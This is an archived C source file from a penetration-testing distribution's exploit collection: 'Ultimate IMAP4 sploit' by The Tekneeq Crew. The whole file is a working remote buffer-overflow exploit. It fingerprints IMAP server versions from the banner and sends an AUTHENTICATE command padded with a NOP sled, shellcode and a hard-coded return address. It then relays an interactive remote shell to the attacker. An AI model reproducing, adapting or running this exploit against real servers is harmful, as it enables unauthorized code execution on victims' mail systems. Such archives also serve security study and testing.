home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imapx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  181 lines

  1. /* Ultimate IMAP4 sploit coded by The Tekneeq Crew */
  2. /*    http://www.attrition.org/hosted/tekneeq       */
  3.  
  4. #include <stdio.h>
  5. #include <stdarg.h>
  6. #include <unistd.h>
  7. #include <sys/time.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10. #include <netdb.h>
  11.  
  12. #define RET_POS 1028
  13.  
  14. int connect_tcp(struct in_addr addr,unsigned short port);
  15. int fdprintf(int dafd,char *fmt,...);
  16. void RunShell(int thesock);
  17.  
  18. struct types
  19.   {
  20.     char *name;
  21.     unsigned long ret_addr;
  22.   };
  23.  
  24. struct types types[]=
  25.     {
  26.       {"IMAP4rev1 9.0",0xbffff6e4
  27.       },
  28.       {"IMAP4rev1 v10.190",0xbffff30f},
  29.       {"IMAP4rev1 v10.223",0xbffff6e4},
  30.       {"IMAP4rev1 v10.203",0xbffff30f},
  31.       {"IMAP4 Service 8.3",0xbffff724},
  32.       {NULL,0}
  33.     };
  34.  
  35. char overflow_buff[4096];
  36. struct in_addr victim;
  37.  
  38. /* standard shellcode with a few modifications */
  39. char hellcode[]=
  40.   "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
  41.   "\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
  42.   "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
  43.   "\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
  44.   "\x2f\x32\x39\x3e\x2f\x43\x38";
  45.  
  46. int main (int argc,char **argv)
  47. {
  48.   unsigned long *ret;
  49.   char recvbuf[1024];
  50.   int sockfd;
  51.   int i,n=0;
  52.  
  53.   if (argc < 2)
  54.     {
  55.       printf("Usage: %s <hostname> [offset]\n",argv[0]);
  56.       exit(0);
  57.     }
  58.  
  59.   if (!host_to_ip(argv[1],&victim))
  60.     {
  61.       fprintf(stderr,"Hostname lookup failure\n");
  62.       exit(0);
  63.     }
  64.  
  65.   memset(overflow_buff,0x90,4096);
  66.   for (i=RET_POS-(strlen(hellcode));i<RET_POS;i++)
  67.     overflow_buff[i]=hellcode[n++];
  68.  
  69.   if ((sockfd=connect_tcp(victim,143)) < 0)
  70.     {
  71.       fprintf(stderr,"Error connecting to remote host\n");
  72.       exit(0);
  73.     }
  74.   n=read(sockfd,recvbuf,1024);
  75.   if (n <= 0)
  76.     {
  77.       fprintf(stderr,"Connection closed\n");
  78.       exit(0);
  79.     }
  80.   printf("%s\n",recvbuf);
  81.   for (i=0;;i++)
  82.     {
  83.       if (types[i].name==NULL)
  84.         {
  85.           i=0;
  86.           break;
  87.         }
  88.       if (strstr(recvbuf,types[i].name))
  89.         break;
  90.     }
  91.   printf("Imap type %d\n",i);
  92.   ret=(unsigned long *)(overflow_buff+RET_POS);
  93.   *ret=types[i].ret_addr;
  94.   if (argv[2]) *ret+=(unsigned long)atoi(argv[2]);
  95.   overflow_buff[RET_POS+4]=0;
  96.   printf("Sending overflow\n");
  97.   fdprintf(sockfd,"* AUTHENTICATE {%d}\n",strlen(overflow_buff));
  98.   fdprintf(sockfd,"%s\r\n",overflow_buff);
  99.   read(sockfd,recvbuf,1024);
  100.   printf("Got shell\n");
  101.   RunShell(sockfd);
  102.   close(sockfd);
  103.   return;
  104. }
  105.  
  106.  
  107. void RunShell(int thesock)
  108. {
  109.   int n;
  110.   char recvbuf[1024];
  111.   fd_set rset;
  112.  
  113.   while (1)
  114.     {
  115.       FD_ZERO(&rset);
  116.       FD_SET(thesock,&rset);
  117.       FD_SET(STDIN_FILENO,&rset);
  118.       select(thesock+1,&rset,NULL,NULL,NULL);
  119.       if (FD_ISSET(thesock,&rset))
  120.         {
  121.           n=read(thesock,recvbuf,1024);
  122.           if (n <= 0)
  123.             {
  124.               printf("Connection closed\n");
  125.               exit(0);
  126.             }
  127.           recvbuf[n]=0;
  128.           printf("%s",recvbuf);
  129.         }
  130.       if (FD_ISSET(STDIN_FILENO,&rset))
  131.         {
  132.           n=read(STDIN_FILENO,recvbuf,1024);
  133.           if (n>0)
  134.             {
  135.               recvbuf[n]=0;
  136.               write(thesock,recvbuf,n);
  137.             }
  138.         }
  139.     }
  140. }
  141.  
  142. int fdprintf(int dafd,char *fmt,...)
  143. {
  144.   char mybuffer[4096];
  145.   va_list va;
  146.  
  147.   va_start(va,fmt);
  148.   vsnprintf(mybuffer,4096,fmt,va);
  149.   write(dafd,mybuffer,strlen(mybuffer));
  150.   va_end(va);
  151.   return(1);
  152. }
  153.  
  154.  
  155. int connect_tcp(struct in_addr addr,unsigned short port)
  156. {
  157.   struct sockaddr_in serv;
  158.   int thesock,flags;
  159.  
  160.   thesock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  161.   bzero(&serv,sizeof(serv));
  162.   memcpy(&serv.sin_addr,&addr,sizeof(struct in_addr));
  163.   serv.sin_port=htons(port);
  164.   serv.sin_family=AF_INET;
  165.   if (connect(thesock,(struct sockaddr *)&serv,sizeof(serv)) < 0)
  166.     return(-1);
  167.   else
  168.     return(thesock);
  169. }
  170.  
  171. int host_to_ip(char *hostname,struct in_addr *addr)
  172. {
  173.   struct hostent *res;
  174.  
  175.   res=gethostbyname(hostname);
  176.   if (res==NULL)
  177.     return(0);
  178.   memcpy((char *)addr,res->h_addr,res->h_length);
  179.   return(1);
  180. }
  181. /*                    www.hack.co.za              [2000]*/